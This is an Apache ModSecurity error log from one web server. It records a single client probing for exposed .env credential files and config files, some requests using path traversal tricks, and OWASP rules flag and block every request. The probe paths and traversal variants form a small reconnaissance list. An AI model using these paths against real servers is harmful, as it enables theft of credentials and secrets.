[Sun Oct 25 10:21:37.642079 2026] [security2:error] [pid 2847168:tid 2847168] [client 35.204.239.58:42720] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "direc2.sherwinpinturas.com"] [uri "/samconfig.toml"] [unique_id "at4QcUn6URg6zvHWvuwQcAAAABs"]
[Sun Oct 25 10:21:37.642139 2026] [security2:error] [pid 2847168:tid 2847168] [client 35.204.239.58:42720] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "direc2.sherwinpinturas.com"] [uri "/samconfig.toml"] [unique_id "at4QcUn6URg6zvHWvuwQcAAAABs"]
[Sun Oct 25 10:21:37.644180 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42540] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/static/app/.env"] [unique_id "at4QcYxkYfnWL-SU_mhriwAAAA0"]
[Sun Oct 25 10:21:37.644343 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42540] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/static/app/.env"] [unique_id "at4QcYxkYfnWL-SU_mhriwAAAA0"]
[Sun Oct 25 10:21:37.644633 2026] [security2:error] [pid 2834008:tid 2834008] [client 35.204.239.58:42540] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/static/app/.env"] [unique_id "at4QcYxkYfnWL-SU_mhriwAAAA0"]
[Sun Oct 25 10:21:37.645835 2026] [security2:error] [pid 2847145:tid 2847145] [client 35.204.239.58:42650] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.supabase"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at4QcR_LOhWZWHwxzGuzagAAAAo"]
[Sun Oct 25 10:21:37.646047 2026] [security2:error] [pid 2847145:tid 2847145] [client 35.204.239.58:42650] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at4QcR_LOhWZWHwxzGuzagAAAAo"]
[Sun Oct 25 10:21:37.646276 2026] [security2:error] [pid 2847145:tid 2847145] [client 35.204.239.58:42650] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at4QcR_LOhWZWHwxzGuzagAAAAo"]
[Sun Oct 25 10:21:37.647310 2026] [security2:error] [pid 2847160:tid 2847160] [client 35.204.239.58:42676] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /supabase/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/supabase/.env"] [unique_id "at4QcUcC0oseVu5Uow-7OgAAABA"]
[Sun Oct 25 10:21:37.647510 2026] [security2:error] [pid 2847160:tid 2847160] [client 35.204.239.58:42676] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/supabase/.env"] [unique_id "at4QcUcC0oseVu5Uow-7OgAAABA"]
[Sun Oct 25 10:21:37.647736 2026] [security2:error] [pid 2847160:tid 2847160] [client 35.204.239.58:42676] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/supabase/.env"] [unique_id "at4QcUcC0oseVu5Uow-7OgAAABA"]
[Sun Oct 25 10:21:37.649925 2026] [security2:error] [pid 2847161:tid 2847161] [client 35.204.239.58:42690] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prisma/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/prisma/.env"] [unique_id "at4QceoJx7c8ORVrfL866gAAABQ"]
[Sun Oct 25 10:21:37.650108 2026] [security2:error] [pid 2847161:tid 2847161] [client 35.204.239.58:42690] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/prisma/.env"] [unique_id "at4QceoJx7c8ORVrfL866gAAABQ"]
[Sun Oct 25 10:21:37.650309 2026] [security2:error] [pid 2847161:tid 2847161] [client 35.204.239.58:42690] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/prisma/.env"] [unique_id "at4QceoJx7c8ORVrfL866gAAABQ"]
[Sun Oct 25 10:21:37.664556 2026] [security2:error] [pid 2847157:tid 2847157] [client 35.204.239.58:42712] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/home/user/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/static/home/user/.env"] [unique_id "at4QcRjDdGZa_VoIlCrpjQAAAAs"]
[Sun Oct 25 10:21:37.675808 2026] [security2:error] [pid 2847157:tid 2847157] [client 35.204.239.58:42712] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/static/home/user/.env"] [unique_id "at4QcRjDdGZa_VoIlCrpjQAAAAs"]
[Sun Oct 25 10:21:37.676046 2026] [security2:error] [pid 2847157:tid 2847157] [client 35.204.239.58:42712] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/static/home/user/.env"] [unique_id "at4QcRjDdGZa_VoIlCrpjQAAAAs"]
[Sun Oct 25 10:21:37.675601 2026] [security2:error] [pid 2847162:tid 2847162] [client 35.204.239.58:42710] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at4QcWfNJowUWx98rtMe9wAAABU"]
[Sun Oct 25 10:21:37.693289 2026] [security2:error] [pid 2847162:tid 2847162] [client 35.204.239.58:42710] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at4QcWfNJowUWx98rtMe9wAAABU"]
[Sun Oct 25 10:21:37.693692 2026] [security2:error] [pid 2847162:tid 2847162] [client 35.204.239.58:42710] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at4QcWfNJowUWx98rtMe9wAAABU"]
[Sun Oct 25 10:21:37.712030 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QcaGxe7V6jzF5H8VNfQAAABg"]
[Sun Oct 25 10:21:37.723414 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QcaGxe7V6jzF5H8VNfQAAABg"]
[Sun Oct 25 10:21:37.723857 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QcaGxe7V6jzF5H8VNfQAAABg"]
[Sun Oct 25 10:21:37.840529 2026] [security2:error] [pid 2847168:tid 2847168] [client 35.204.239.58:42720] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QcUn6URg6zvHWvuwQcQAAABs"]
[Sun Oct 25 10:21:37.840794 2026] [security2:error] [pid 2847168:tid 2847168] [client 35.204.239.58:42720] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QcUn6URg6zvHWvuwQcQAAABs"]
[Sun Oct 25 10:21:37.841163 2026] [security2:error] [pid 2847168:tid 2847168] [client 35.204.239.58:42720] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QcUn6URg6zvHWvuwQcQAAABs"]
[Sun Oct 25 10:21:37.849952 2026] [security2:error] [pid 2847164:tid 2847164] [client 35.204.239.58:42682] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env/public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/.env/public/.env"] [unique_id "at4Qcadvx8t8UZpJmR8keAAAABc"]
[Sun Oct 25 10:21:37.850111 2026] [security2:error] [pid 2847164:tid 2847164] [client 35.204.239.58:42682] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/.env/public/.env"] [unique_id "at4Qcadvx8t8UZpJmR8keAAAABc"]
[Sun Oct 25 10:21:37.850344 2026] [security2:error] [pid 2847164:tid 2847164] [client 35.204.239.58:42682] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/api/.env/public/.env"] [unique_id "at4Qcadvx8t8UZpJmR8keAAAABc"]
[Sun Oct 25 10:21:37.851374 2026] [security2:error] [pid 2847140:tid 2847140] [client 35.204.239.58:42548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QcbzfR6IZTglRqQr3WgAAAAU"]
[Sun Oct 25 10:21:37.851560 2026] [security2:error] [pid 2847140:tid 2847140] [client 35.204.239.58:42548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QcbzfR6IZTglRqQr3WgAAAAU"]
[Sun Oct 25 10:21:37.851806 2026] [security2:error] [pid 2847140:tid 2847140] [client 35.204.239.58:42548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QcbzfR6IZTglRqQr3WgAAAAU"]
[Sun Oct 25 10:21:37.853640 2026] [security2:error] [pid 2847158:tid 2847158] [client 35.204.239.58:42660] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at4QcaQMBVMuq7VW19AcAgAAAA4"]
[Sun Oct 25 10:21:37.853683 2026] [security2:error] [pid 2847158:tid 2847158] [client 35.204.239.58:42660] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /..../..../..../..../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at4QcaQMBVMuq7VW19AcAgAAAA4"]
[Sun Oct 25 10:21:37.853743 2026] [security2:error] [pid 2847158:tid 2847158] [client 35.204.239.58:42660] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at4QcaQMBVMuq7VW19AcAgAAAA4"]
[Sun Oct 25 10:21:37.853859 2026] [security2:error] [pid 2847158:tid 2847158] [client 35.204.239.58:42660] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at4QcaQMBVMuq7VW19AcAgAAAA4"]
[Sun Oct 25 10:21:37.854114 2026] [security2:error] [pid 2847158:tid 2847158] [client 35.204.239.58:42660] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/..../..../..../..../.env"] [unique_id "at4QcaQMBVMuq7VW19AcAgAAAA4"]
[Sun Oct 25 10:21:37.855270 2026] [security2:error] [pid 2847159:tid 2847159] [client 35.204.239.58:42704] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /app/../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/app/..;/.env"] [unique_id "at4Qceg7UwOwl8XKB5KOKAAAAA8"]
[Sun Oct 25 10:21:37.855342 2026] [security2:error] [pid 2847159:tid 2847159] [client 35.204.239.58:42704] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/..;/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/app/..;/.env"] [unique_id "at4Qceg7UwOwl8XKB5KOKAAAAA8"]
[Sun Oct 25 10:21:37.855496 2026] [security2:error] [pid 2847159:tid 2847159] [client 35.204.239.58:42704] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/app/..;/.env"] [unique_id "at4Qceg7UwOwl8XKB5KOKAAAAA8"]
